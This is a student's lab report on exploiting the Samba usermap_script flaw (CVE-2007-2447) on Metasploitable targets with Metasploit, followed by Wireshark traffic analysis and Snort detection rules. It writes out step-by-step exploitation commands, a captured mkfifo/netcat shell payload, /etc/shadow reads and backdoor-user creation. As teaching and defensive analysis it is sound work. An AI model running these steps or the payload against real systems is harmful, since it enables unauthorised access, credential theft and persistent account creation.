20253902 吴晨宇 2025-2026-2 《网络攻防实践》第七周作业

一、知识点总结

1.1 Samba Usermap_script 漏洞

Samba 是 Linux / Unix 系统中常见的文件共享服务，它的作用是让 Linux 主机能够与 Windows 主机进行文件共享、打印共享等操作。Windows 网络共享通常基于 SMB 协议，而 Samba 可以理解为 Linux 对 SMB 协议的一种实现。因此，在内网环境中，Samba 经常出现在文件服务器、测试服务器或靶场系统中。

本次实验利用的是 Samba 中比较经典的 usermap_script 漏洞，对应的代表编号是 CVE-2007-2447。在 Samba 的配置中，username map script 原本用于处理用户名映射。正常情况下，用户登录 Samba 服务时，系统会把客户端传入的用户名交给映射脚本处理，从而完成用户身份转换。例如，把某个远程用户名映射成本地系统中的某个用户。

问题出现在旧版本 Samba 对用户名输入的处理上。如果攻击者在用户名字段中构造特殊内容，Samba 在调用映射脚本时就可能把这些内容当作 Shell 命令执行。也就是说，原本应该只是“用户名”的数据，被错误地带入了命令执行环境，最终造成远程命令执行漏洞。

可以把这个过程理解为：

正常情况：
用户名  →  Samba 用户名映射  →  系统用户

异常情况：
恶意用户名  →  Samba 调用脚本处理  →  系统命令被执行

这个漏洞的本质属于命令注入。它和 Web 安全中的一些漏洞思路比较接近，例如 PHP 文件上传 WebShell、命令执行漏洞等。虽然它们发生的位置不同，一个发生在 Samba 服务中，一个可能发生在 Web 应用中，但核心问题都是：程序没有把用户输入当作不可信数据处理，反而把输入内容带入了敏感执行流程。

在本次实验中，Metasploit 使用的模块是：

exploit/multi/samba/usermap_script

该模块针对这一漏洞构造异常用户名字段，使目标 Samba 服务在处理认证或用户名映射时触发命令执行。如果利用成功，攻击者就可以获得目标主机的 Shell，并继续执行 whoami、id、cat /etc/shadow 等命令验证权限。

从防守角度看，这类漏洞的防护思路比较明确：

防护措施	作用
升级 Samba 版本	修复旧版本中存在的命令注入问题
禁用不必要的 username map script 配置	减少危险功能暴露面
限制匿名访问	避免攻击者无需认证即可尝试利用
限制 Samba 服务访问范围	只允许可信主机访问 SMB 端口
结合 IDS / 日志审计	发现异常用户名、异常命令字段和可疑连接

通过这个漏洞可以看出，安全问题并不一定只出现在复杂的算法或协议中。有时一个看似普通的“用户名映射”功能，如果没有正确处理输入边界，也可能变成远程命令执行入口。

1.2 /etc/shadow

/etc/shadow 是 Linux 系统中非常重要的认证相关文件，主要用于保存本地用户的密码哈希和密码策略信息。它经常和 /etc/passwd 一起出现，但两者的敏感程度并不相同。

/etc/passwd 主要保存用户的基本信息，例如用户名、UID、GID、用户主目录和默认 Shell。由于很多系统程序需要查询用户信息，所以 /etc/passwd 通常允许普通用户读取。

而 /etc/shadow 保存的是用户密码哈希、密码修改时间、密码有效期等信息，敏感程度更高。因此，正常情况下只有 root 用户或具备相应权限的进程才能读取该文件。

两者可以简单对比如下：

文件	主要内容	普通用户是否通常可读	敏感程度
/etc/passwd	用户名、UID、GID、home 目录、默认 Shell	是	中等
/etc/shadow	密码哈希、密码修改时间、密码有效期等	否	很高

二、操作流程

2.1 本地漏洞利用

2.1.1 实验环境信息

角色	IP 地址	操作系统	作用
攻击机	192.168.31.33	Kali Linux	使用 Nmap、Metasploit 发起漏洞探测与攻击
靶机	192.168.31.67	Metasploitable Linux	运行存在漏洞的 Samba 服务，作为被攻击目标

实验说明：
本实验在本地授权靶场环境中完成，攻击机与靶机处于同一局域网内。实验内容仅用于网络安全学习与漏洞验证，严禁用于任何未授权的网络环境。

2.1.2 实际攻击

(1) 漏洞探测

在正式利用漏洞之前，我先对靶机的 SMB/Samba 服务端口进行探测。Samba 服务通常和 139、445 端口有关，因此这里没有直接全端口扫描，而是针对这两个端口调用 Nmap 的 smb-vuln 系列脚本进行检查：

nmap -p 139,445 --script=smb-vuln* --script-args=unsafe=1 192.168.31.67

图 2-1-1 Nmap 对靶机 139、445 端口及 smb-vuln 脚本的扫描输出。

扫描结果中，靶机 192.168.31.67 的 139/tcp 和 445/tcp 均处于 open 状态，分别对应 netbios-ssn 和 microsoft-ds 服务。smb-vuln 脚本也对若干已知漏洞进行了检测，其中部分脚本执行失败，smb-vuln-ms10-061 显示为 false。

这里不能仅凭这一次扫描就断定所有 Samba 漏洞都不存在。Nmap 脚本检测更适合作为前期判断依据，真正能否利用还需要结合服务版本、靶机环境以及 Metasploit 模块的实际执行结果继续验证。

(2) 选择漏洞利用模块

确认目标开放 SMB/Samba 相关端口后，进入 Metasploit 控制台：

msfconsole

随后加载本次实验使用的 Samba 漏洞利用模块：

use exploit/multi/samba/usermap_script

图 2-1-2 在 Metasploit 中加载 exploit/multi/samba/usermap_script 模块。

exploit/multi/samba/usermap_script 是 Metasploit 中针对 Samba username map script 问题的利用模块。这个模块的利用思路主要是借助 Samba 在处理用户名映射时的缺陷，构造特殊输入并触发命令执行。

对我来说，这一步的重点不是简单输入 use 命令，而是把前面的端口探测结果和后面的模块选择对应起来：只有目标确实开放了 SMB/Samba 服务，后续选择 Samba 相关模块才有依据。

(3) 参数配置

进入模块后，先查看当前模块需要配置的参数：

show options

图 2-1-3 使用 show options 查看 Samba 利用模块及 Payload 的参数。

从参数列表可以看到，模块侧需要关注 RHOSTS、RPORT 等目标信息，Payload 侧需要关注 LHOST、LPORT 等回连信息。其中：

参数	含义	本次实验中的作用
RHOSTS	目标主机地址	指向靶机 192.168.31.67
RPORT	目标服务端口	Samba 服务端口，当前显示为 139
LHOST	本机监听地址	攻击机地址 192.168.31.33
LPORT	本机监听端口	用于接收反向连接

接着配置反向 Shell Payload，并设置目标地址和本机监听地址：

set payload cmd/unix/reverse
set RHOST 192.168.31.67
set LHOST 192.168.31.33

图 2-1-4 在 Metasploit 中配置 Payload、RHOST 和 LHOST 参数。

这里选择 cmd/unix/reverse，是为了让靶机在漏洞触发后主动连接攻击机。这样攻击机只需要监听对应端口，就可以接收目标主机回连过来的 Shell。

这里需要特别注意 LHOST 的填写。它不是靶机 IP，而是攻击机在当前网络环境中的可达地址。如果 LHOST 配错，即使漏洞触发成功，靶机也可能无法回连。

(4) 发起攻击

完成参数配置后，执行漏洞利用：

exploit

在实验过程中，执行 exploit 后如果利用成功，Metasploit 会进入与目标主机交互的 Shell 状态。由于原始截图中没有单独保留 exploit 命令执行瞬间的完整输出，所以下一步主要通过 Shell 内部命令来验证是否已经进入靶机环境，而不是在这里提前写死结论。

(5) 权限验证

获得 Shell 后，需要确认两件事：第一，当前 Shell 是否位于靶机上；第二，当前权限是否足以执行高权限操作。这里先执行以下命令：

whoami
ifconfig

图 2-1-5 在 Shell 中执行 whoami 和 ifconfig 查看当前用户及网络信息。

whoami 的输出为 root，说明当前 Shell 对应的是 root 用户。ifconfig 中可以看到 eth0 的地址为 192.168.31.67，与实验环境中设置的靶机 IP 一致。因此，这里可以初步判断当前 Shell 已经进入靶机，并且具有 root 权限。

为了进一步验证权限，继续尝试读取 Linux 系统中的 /etc/shadow 文件：

cat /etc/shadow

图 2-1-6 在 Shell 中执行 cat /etc/shadow 并显示系统账户哈希信息。

各命令作用可以整理如下：

命令	作用	实验中的判断依据
whoami	查看当前用户身份	输出为 root，说明当前 Shell 具有 root 用户身份
ifconfig	查看网络接口信息	输出中出现 192.168.31.67，可与靶机 IP 对应
cat /etc/shadow	读取系统密码哈希文件	该文件通常需要 root 权限才能读取

/etc/shadow 中保存的是系统账户的密码哈希及密码策略相关信息，普通用户一般无法直接读取。截图中能够正常输出该文件内容，进一步说明本次漏洞利用已经获得了较高权限。

这一步让我比较直观地看到，漏洞利用的结果不能只看“是否弹回 Shell”，还要继续验证 Shell 所在主机和权限级别。否则可能出现已经连接到某个交互环境，但无法确认目标、权限不足或判断依据不充分的问题。

2.2 远程攻击

2.2.1 实验环境信息

角色	IP 地址	操作系统	主要作用
攻击机	192.168.43.173	Kali Linux	使用 Metasploit 发起漏洞利用攻击
防守方 / 靶机	192.168.43.75	Metasploitable Linux	运行存在漏洞的 Samba 服务，作为被攻击目标

本实验仍然在授权靶场环境中完成。和上一节本地漏洞利用相比，本部分的重点在于：攻击机和靶机不是直接使用原先的固定网络环境，而是在重新配置网络后，通过远程连接的方式完成漏洞利用、权限验证和后续登录测试。

2.2.2 网络配置

在开始远程攻击之前，首先需要保证 Kali 攻击机和 Metasploitable 靶机处于同一局域网，并且两台主机之间可以正常通信。实验过程中，校园网 DHCP 分配存在异常，因此我没有继续纠结原来的网络环境，而是改用 手机热点 作为临时实验网络，让 Kali 和 Metasploitable 都接入同一个热点局域网。

由于此前 Metasploitable 靶机配置过静态 IP，如果继续保留原来的静态地址，可能会导致靶机无法从手机热点正常获取新地址。因此，先进入靶机的网络配置文件：

vim /etc/network/interfaces

需要将原先的静态 IP 配置注释掉，主要包括以下几项：

# address <静态IP地址>
# netmask <子网掩码>
# gateway <网关地址>

图 2-2-1 在 Metasploitable 中编辑 /etc/network/interfaces 并注释静态 IP 配置。

这一步的目的不是手动指定新的 IP，而是让靶机重新回到 DHCP 自动获取地址的状态。修改完成后，需要重启网络服务，使新的配置生效。由于 Metasploitable 系统版本较旧，不能使用较新的 systemctl 管理方式，因此这里通过传统 init 脚本重启网络：

/etc/init.d/networking restart

图 2-2-2 使用 /etc/init.d/networking restart 重启 Metasploitable 网络服务。

网络服务重启后，继续查看靶机当前获取到的网络地址。这里主要关注 eth0 网卡是否已经从热点网络中获得 IP：

ifconfig

图 2-2-3 通过 ifconfig 查看 Metasploitable 靶机的网络接口地址。

可以看到，靶机已经获得 192.168.43.75 地址。这个地址后续会作为 Metasploit 中的目标主机地址使用。这里可以初步判断，DHCP 分配已经恢复正常，靶机也成功接入了手机热点所在的局域网。

2.2.3 连通性测试

完成靶机网络配置后，还需要在 Kali 攻击机上测试两台主机之间是否真的能够通信。这里使用最基础的 ping 命令进行连通性验证：

ping 192.168.43.75

图 2-2-4 在 Kali 攻击机中 ping Metasploitable 靶机地址。

ping 能够收到来自 192.168.43.75 的响应，说明 Kali 攻击机和 Metasploitable 靶机之间网络连通正常。到这里，远程攻击所需的基础网络条件已经满足，可以继续进入漏洞利用阶段。

2.2.4 发起攻击

网络连通后，开始使用 Metasploit 对靶机的 Samba 服务进行漏洞利用。本次选择的模块仍然是：

exploit/multi/samba/usermap_script

该模块主要针对 Samba 服务中的 usermap_script 漏洞。如果目标主机运行的 Samba 版本存在对应问题，就可能在认证相关流程中触发命令执行，从而获得目标系统的 Shell。

使用 Metasploit 前，至少需要确认三类信息：靶机 IP、攻击机 IP，以及目标主机是否存在可利用的 Samba 服务。这里的靶机 IP 为 192.168.43.75，攻击机 IP 为 192.168.43.173。

首先在 Kali 中启动 Metasploit，并加载对应漏洞利用模块：

msfconsole
use exploit/multi/samba/usermap_script

图 2-2-5 在 Metasploit 中进入 Samba usermap_script 漏洞利用模块。

进入模块后，先查看需要配置的参数：

show options

从模块参数可以看出，至少需要配置目标主机地址和攻击机监听地址。这里的参数关系可以整理如下：

参数	含义	本次实验配置
RHOSTS	目标靶机 IP 地址	192.168.43.75
PAYLOAD	漏洞利用成功后执行的载荷	cmd/unix/reverse
LHOST	攻击机用于接收反向连接的 IP 地址	192.168.43.173

按照实验环境信息，依次设置参数：

set RHOSTS 192.168.43.75
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.43.173

这里选择反向 Shell 的原因是：漏洞触发后，由靶机主动向攻击机发起连接，攻击机在本地监听并接收返回的 Shell。这个过程中，LHOST 必须填写 Kali 在当前热点局域网中的地址，也就是 192.168.43.173，不能误填成靶机地址。

确认参数无误后，执行漏洞利用：

exploit

图 2-2-6 在 Metasploit 中执行 exploit 并进入远程 Shell 交互状态。

执行后，Metasploit 成功进入 Shell 交互状态。此时还不能只凭“出现 Shell”就直接结束实验，因为还需要进一步确认当前 Shell 是否真的位于靶机，以及当前权限级别是否满足后续操作。

因此，继续执行以下基础命令：

whoami
id
uname -a
pwd

图 2-2-7 在远程 Shell 中执行 whoami、id、uname -a 和 pwd 命令。

这几条命令分别用于确认当前用户、用户身份信息、系统内核信息以及当前工作目录：

命令	作用	分析重点
whoami	查看当前用户名	判断当前 Shell 的用户身份
id	查看 UID、GID 等身份信息	辅助确认权限级别
uname -a	查看系统内核和主机信息	判断当前环境是否为 Linux 靶机
pwd	查看当前路径	确认当前 Shell 的工作目录

从输出结果可以看到，当前 Shell 能够正常执行 Linux 系统命令，并且用户身份具有较高权限。结合前面的目标地址和系统信息，这里可以判断漏洞利用已经成功进入 Metasploitable 靶机。

2.2.5 读写测试

为了进一步验证当前 Shell 的文件操作能力，我在目标主机中进行了简单的读写测试。测试思路分为两步：先创建普通测试文件，确认写入能力；再尝试读取 /etc/shadow，验证是否具备高权限文件读取能力。

执行命令如下：

mkdir wcy
cd wcy
echo "20253902 吴晨宇 Please give me 100 冒！" > test_20253902.txt
cat test_20253902.txt
cat /etc/shadow

图 2-2-8 在远程 Shell 中创建测试目录、写入测试文件并读取 /etc/shadow。

从结果可以看到，测试文件能够被成功创建并读取，说明当前 Shell 具有基本文件写入和读取能力。随后执行 cat /etc/shadow 时，系统正常输出了文件内容。

/etc/shadow 是 Linux 中保存用户密码哈希和密码策略信息的重要文件，普通用户通常没有读取权限。因此，能够读取该文件进一步说明当前 Shell 已经具备 root 级别或等价的高权限。

2.2.6 新建用户测试

在确认具备高权限后，我继续尝试在目标系统中新建用户。相比简单读取文件，新建系统用户更能体现当前 Shell 是否拥有对系统账户的修改能力。

执行命令如下：

useradd -m -s /bin/bash wcy20253902
passwd wcy20253902
ls -ld /home/wcy20253902

图 2-2-9 在远程 Shell 中创建 wcy20253902 用户并查看其 home 目录。

这几条命令的作用如下：

命令	作用
useradd -m -s /bin/bash wcy20253902	创建用户 wcy20253902，同时生成 home 目录并指定登录 Shell
passwd wcy20253902	为新用户设置密码
ls -ld /home/wcy20253902	查看新用户 home 目录是否创建成功

新建用户属于典型的高权限系统操作。实验中该操作能够成功执行，并且可以看到 /home/wcy20253902 目录已经生成，进一步说明当前 Shell 不只是普通命令执行权限，而是已经能够修改目标系统的用户账户配置。

到这一步，我对“漏洞利用成功”的理解更加具体了。成功不只是拿到一个命令行界面，还要看能否确认身份、读写文件、修改系统状态，以及这些操作是否符合高权限用户的能力范围。

2.2.7 SSH 连接测试

完成用户创建后，我进一步测试新建账号能否通过 SSH 登录靶机。这个测试的目的不是继续扩大攻击范围，而是验证前面创建的系统用户是否已经成为目标主机上的有效登录账号。

由于 Metasploitable 使用的 OpenSSH 版本较旧，而新版 Kali 默认禁用了一些旧的 RSA 相关算法，所以直接连接时可能会出现算法不兼容问题。为避免连接阶段被算法协商问题阻断，这里在 SSH 命令中显式允许 ssh-rsa：

ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa wcy20253902@192.168.43.75

图 2-2-10 在 Kali 中使用 wcy20253902 用户通过 SSH 登录 Metasploitable 靶机。

从登录过程可以看到，使用新建用户 wcy20253902 能够通过 SSH 连接到 192.168.43.75。这说明前面通过 Shell 创建的用户已经能够作为系统账号正常登录靶机。

本节实验形成了比较完整的验证链条：先完成网络配置和连通性测试，再使用 Samba 漏洞获得远程 Shell，随后通过命令执行、文件读写、新建用户和 SSH 登录逐步验证权限。相比只展示漏洞利用结果，这种按步骤验证的方式更能说明攻击过程中的每一个判断依据，也能避免把“出现 Shell”简单等同于“完全控制目标主机”。

攻击阶段命令总结

操作步骤	命令	作用
启动 Metasploit	msfconsole	进入 Metasploit 控制台
选择攻击模块	use exploit/multi/samba/usermap_script	使用 Samba Usermap_script 漏洞利用模块
查看模块参数	show options	查看需要配置的攻击参数
设置目标地址	set RHOSTS 192.168.43.75	指定目标靶机 IP
设置 Payload	set PAYLOAD cmd/unix/reverse	使用 Unix 反向 Shell
设置监听地址	set LHOST <Kali攻击机IP>	指定攻击机接收连接的 IP
执行攻击	exploit 或 run	发起漏洞利用
查看当前用户	whoami	判断当前 Shell 权限
查看用户权限	id	查看当前用户 UID、GID 等信息
查看系统信息	uname -a	确认当前目标系统信息
文件写入测试	echo "metasploit test" > test.txt	验证是否具备文件写入权限
文件读取测试	cat test.txt	验证是否具备文件读取权限
新建用户	useradd testuser	验证是否具备用户管理权限
查看用户是否存在	cat /etc/passwd | grep testuser	确认用户是否创建成功

防守方流量分析

1. 过滤攻守双方通信流量

在防守方分析阶段，首先需要把攻击机与靶机之间的流量单独筛选出来。否则抓包文件中会混入大量广播包、DNS、ARP 或其他无关通信，不利于定位漏洞利用过程。

本次实验中，攻击机 IP 为 192.168.43.173，靶机 IP 为 192.168.43.75，因此可以在 Wireshark 中使用如下过滤条件：

ip.addr == 192.168.43.173 && ip.addr == 192.168.43.75

该过滤条件的作用是只保留两台主机之间的双向通信流量。完成过滤后，后续分析重点就可以集中在 SMB 认证、异常命令载荷以及反向 Shell 通信上。

这里我没有直接从全部流量中找异常，而是先缩小分析范围。这样做的好处是思路更清楚，也能避免被无关数据包干扰。

2. 分析 SMB 恶意请求

在过滤后的数据包中，继续查看 SMB / NTLMSSP 认证相关内容。正常情况下，SMB 认证字段中的 Account 应该是用户名，但在本次抓包中可以看到，该字段被插入了一段明显不属于用户名的命令内容。

图 2-2-11 Wireshark 中 NTLMSSP 认证数据包的 Account 字段内容。

从数据包内容可以看到，Account 字段中出现了类似下面的命令片段：

nohup mkfifo /tmp/wupsn; (nc -l -p 4444 || nc -l 4444) </tmp/wupsn | /bin/sh >/tmp/wupsn 2>&1; rm /tmp/wupsn

这显然不是正常的 SMB 用户名，而是被构造进认证字段中的命令执行载荷。结合前面使用的 Metasploit 模块，可以初步判断，这正是 Samba usermap_script 漏洞利用过程中的关键恶意请求。

Samba usermap_script 漏洞的核心问题在于：服务端在处理用户名映射时，对传入字段缺少足够严格的过滤和约束，攻击者可以借助异常用户名字段插入系统命令。当目标 Samba 服务处理该字段时，就可能触发命令执行。

观察位置	正常情况	本次实验中的异常
SMB / NTLMSSP 认证字段	Account 应为普通用户名	Account 中出现 shell 命令
命令内容	不应出现系统命令	包含 mkfifo、nc、/bin/sh
攻击意图	正常认证登录	构造远程命令执行载荷

这一步是防守方分析中比较关键的一环，因为它把“攻击发生了”落实到了具体数据包字段上，而不是只根据 Metasploit 输出判断攻击成功。

3. 进一步确认 Shell 连接行为

除了 SMB 恶意请求本身，还需要继续观察漏洞触发后的通信情况。因为攻击载荷中出现了 nc -l -p 4444，所以后续分析时可以重点关注 4444 端口附近的 TCP 通信。

通过追踪相关 TCP 流，可以看到攻击者在 Shell 中执行了命令，并且目标主机返回了对应结果。

图 2-2-12 TCP 流中出现 echo 测试命令和 whoami 命令回显。

图中可以看到，流量中出现了 whoami 命令，并返回了 root。这说明该 TCP 流已经不是普通的 SMB 认证交互，而更接近攻击者获得 Shell 后的命令交互过程。

继续观察后续流量，还可以看到攻击者执行了与用户管理、权限验证和端口查看相关的命令：

图 2-2-13 TCP 流中出现 passwd、id、ls 和 netstat 等命令内容。

在该流量中，可以看到 passwd、id、ls -ld /home/...、netstat -antp 等命令。这些命令与前面攻击阶段中的操作能够对应起来：攻击者在获得 Shell 后，尝试修改用户密码、验证用户状态、查看用户目录，并检查 SSH 端口开放情况。

流量特征	对应含义
SMB 认证字段中出现命令载荷	攻击者正在发送漏洞利用请求
出现 4444 端口相关通信	疑似建立远程 Shell 通道
TCP 流中出现 whoami、id	攻击者在验证当前权限
TCP 流中出现 passwd	攻击者可能在进行账户相关操作
TCP 流中出现 netstat	攻击者在查看目标主机端口状态

从防守视角看，单独看到一个异常包还不够。更可靠的分析方式是把 SMB 恶意字段、Shell 端口通信和后续命令执行串起来，这样才能还原比较完整的攻击链。

4. 使用 Snort 编写简单检测规则

为了对上述攻击特征进行自动化检测，可以将 Wireshark 中观察到的关键内容写入 Snort 本地规则文件 local.rules。本次规则主要围绕 Samba 恶意载荷、远程 Shell 通信和后渗透命令三个方向进行编写。

图 2-2-14 local.rules 中针对 Samba 利用行为和后渗透命令编写的 Snort 规则。

从规则内容可以看到，本次主要匹配以下几类特征：

检测内容	规则关键字	检测目的
Samba 利用载荷	nohup、mkfifo、nc -l、/bin/sh、/tmp/wupsn	检测 SMB 认证字段中的命令执行特征
远程 Shell 通信	4444	检测疑似反向 Shell 或交互式 Shell 通道
权限验证命令	whoami、id、uname	检测攻击者获取 Shell 后的权限确认行为
用户管理命令	useradd、passwd	检测攻击者尝试创建用户或修改密码
敏感文件读取	/etc/passwd	检测攻击者读取系统账户文件的行为

这里编写的规则更偏向实验环境下的特征匹配，优点是直观、容易验证，缺点也很明显：它比较依赖固定端口和固定字符串。如果攻击者更换端口、修改临时文件名、改变命令写法，规则就可能漏报；如果正常业务中也出现类似字符串，也可能造成误报。

5. Snort 检测结果分析

加载 local.rules 后，使用 Snort 对抓包文件进行离线检测，可以看到规则成功触发了多条告警。

图 2-2-15 Snort 加载 local.rules 后对抓包文件进行离线检测的告警输出。

从告警结果中可以看到，Snort 多次检测到 4444 端口上的疑似远程 Shell 通信，同时也检测到了 id、passwd 等后渗透命令。告警中出现的通信方向主要集中在靶机 192.168.43.75:4444 与攻击机 192.168.43.173 的临时端口之间，这与前面 Payload 中设置的 Shell 通信方式能够对应起来。

告警内容	含义
Possible remote shell traffic on port 4444	检测到 4444 端口存在疑似远程 Shell 通信
Post-exploitation command detected - id	检测到攻击者执行权限查看命令
Post-exploitation command detected - passwd	检测到攻击者执行密码修改相关命令

其中，id 命令通常用于查看当前用户的 UID、GID 和用户组信息，属于攻击者获得 Shell 后常见的权限确认操作；passwd 命令则说明攻击者可能正在进行账户密码设置或修改操作。结合前面的 TCP 流内容，可以初步判断攻击者已经进入后渗透阶段。

这次 Snort 规则确实检测到了远程 Shell 通信和部分后渗透命令，但规则本身仍然比较简陋。它更多是基于端口和字符串做匹配，并没有充分结合协议字段、连接方向、会话上下文和攻击阶段。因此，实验中可以用它验证攻击痕迹，但在真实防护场景中还需要进一步完善检测逻辑。

通过这一部分流量分析，我对“防守方如何看攻击”有了更清晰的认识。攻击方看到的是 Metasploit 是否返回 Shell，而防守方看到的是数据包中哪些字段异常、连接是否符合攻击行为、后续命令是否体现权限验证或权限维持。也就是说，漏洞利用并不是一个孤立事件，它会在网络流量中留下连续的痕迹，防守分析的任务就是把这些痕迹按时间和逻辑串起来。

三、遇到的问题

3.1 ssh连接不上

第一次直接 SSH 连接靶机时出现了 Unable to negotiate ... no matching host key type found. Their offer: ssh-rsa,ssh-dss，这不是用户名或密码错误，而是 Kali 上较新的 OpenSSH 客户端默认禁用了老旧的 ssh-rsa、ssh-dss 主机密钥算法；而 Metasploitable 系统较旧，只提供这些旧算法，所以双方无法协商连接，解决方法是在连接时临时允许使用 ssh-rsa 算法。

3.2 snort规则失效

由于snort2和snort3的区别，尽量避免/#用于注释，注意命令参数中的绝对路径问题

3.3 校园网dhcp分配问题

可能是因为校园网dhcp的分配问题，会导致虚拟机分配到169.254开头的ip，或者直接分配不到ip，这真的非常怪。

169.254.0.0/16 属于 APIPA（Automatic Private IP Addressing，自动专用 IP 寻址） 地址段，由 IETF 在 RFC 3927 中定义，也称为 链路本地地址（Link-Local Address）。

这个地址段的关键特点是：它并非由 DHCP 服务器分配，而是客户端主机在 DHCP 获取失败时，由操作系统自行生成的"备用地址"。当系统开机后向网络广播 DHCP 请求，但在规定时间内未收到任何 DHCP 服务器的应答时，系统会自动从 169.254.1.0 到 169.254.254.255 范围内随机选取一个地址，并通过 ARP 探测确认该地址在本地链路上未被占用后，赋给自己使用。

导致这种的情况有很多，比如网络链路问题、网卡驱动异常或者广播风暴或 IP 冲突等。参考上一章的问题解决，换成手机热点后，这个问题就解决了。

四、心得体会

通过这次网络攻防实践实验，我对漏洞利用和流量分析之间的关系有了更直观的认识。之前学习漏洞利用时，我更多关注的是攻击端能不能成功拿到 Shell，比如 Metasploit 模块怎么选、参数怎么配置、Payload 怎么设置。但这次实验让我意识到，漏洞利用并不是只看最终结果，而是一个由环境配置、服务识别、参数设置、载荷触发、权限验证和流量留痕共同组成的完整过程。

在攻击方操作中，我体会最深的是 Metasploit 参数配置的重要性。像 RHOSTS、LHOST、PAYLOAD 这些参数看起来只是几行简单命令，但如果理解不清楚，很容易配置错误。尤其是反向 Shell 场景下，LHOST 必须填写攻击机在当前网络环境中的可达地址，而不是随便填写本机某个地址。通过这次实验，我对“攻击机监听、靶机回连”这个过程有了更清楚的理解，也明白了漏洞利用并不是工具自动完成一切，操作者必须知道每个参数背后的网络含义。

从漏洞原理上看，Samba usermap_script 漏洞和一些常见 Web 漏洞有相似之处。它们本质上都利用了服务端对输入内容处理不严格的问题，使原本应该作为普通数据处理的内容被当作系统命令执行。例如，PHP 文件上传漏洞中，攻击者可能通过上传恶意脚本获得 WebShell；而本次实验中，攻击者则是在 SMB 认证相关字段中构造异常命令，最终获得系统 Shell。这让我意识到，很多漏洞虽然发生在不同协议、不同组件中，但背后的安全思想是相通的：只要程序把不可信输入带入敏感执行环境，就可能造成严重后果。

这次实验中，我觉得最有收获的部分是防守方流量分析。站在攻击方视角时，看到 Metasploit 返回 Shell 就容易认为实验已经完成；但站在防守方视角时，需要从 Wireshark 中一点点还原攻击过程，包括 SMB 认证字段中的异常命令、4444 端口上的 Shell 通信，以及后续出现的 whoami、id、passwd 等命令。这个过程让我认识到，防守不是简单地判断“有没有被攻击”，而是要根据流量证据还原攻击链条。只有把异常字段、连接方向、端口行为和命令内容联系起来，才能更准确地判断攻击者做了什么、做到哪一步。

此外，我还尝试编写了 Snort 检测规则，对抓包文件进行离线检测。虽然这些规则比较简单，主要依赖端口和关键字符串匹配，泛化能力并不强，也很容易受到端口变化、命令变形等方式绕过，但它确实让我理解了 IDS 规则检测的基本思路：从真实攻击流量中提取特征，再把这些特征转化为可自动匹配的规则。这个过程比单纯看理论更有帮助，因为我能看到自己写的规则是否真的能触发告警，也能发现规则过于粗糙时可能带来的误报和漏报问题。

借助这次实验，我也进一步了解了一些 IDS 相关研究方向。现在的入侵检测研究已经不只是传统的规则匹配，也包括基于机器学习、深度学习、BERT 等语言模型，甚至基于大语言模型辅助生成规则或分析日志的方法。同时，也仍然存在一些基于启发式算法和统计特征的检测方法。当前 IDS 研究并不是单纯刷公开数据集上的指标就有意义。很多老数据集已经被研究得非常充分，继续刷 SOTA 的实际价值有限。相比之下，真实工控场景数据、加密流量分析、复杂协议下的异常检测，以及可解释、可落地的检测方法，可能更接近现在安全研究真正需要解决的问题。

这次实验让我不只是完成了一次漏洞利用，更重要的是理解了攻防两端关注点的差异。攻击方关注的是如何利用漏洞进入系统，防守方关注的是攻击行为如何在流量中留下痕迹，以及如何把这些痕迹转化为可检测、可解释的安全告警。对我来说，这次实验最大的收获不是“成功拿到 Shell”，而是认识到网络安全实验不能只停留在工具使用层面，必须进一步理解漏洞原理、网络行为和检测逻辑之间的关系。只有把攻击过程和防守分析结合起来，才能真正形成比较完整的安全思维。

五、参考资料

（有一些csdn的会员文章，可以靠第三方网站获取）

[1] Linux-Samba服务

[2] 使用Samba实现文件共享

[3] SambaMS-RPC Shell命令注入漏洞（CVE-2007-2447）

[4] Samba命令注入漏洞（CVE-2007-2447）复现与原理分析

[5] Samba “username map script” 命令执行漏洞

[6] MSF渗透使用说明

[7] Kali之MSF

[8] Nmap服务和版本探测

[9] SMB协议原理抓包分析

[10] Snort规则入门学习

[11] OpenSSH旧算法兼容说明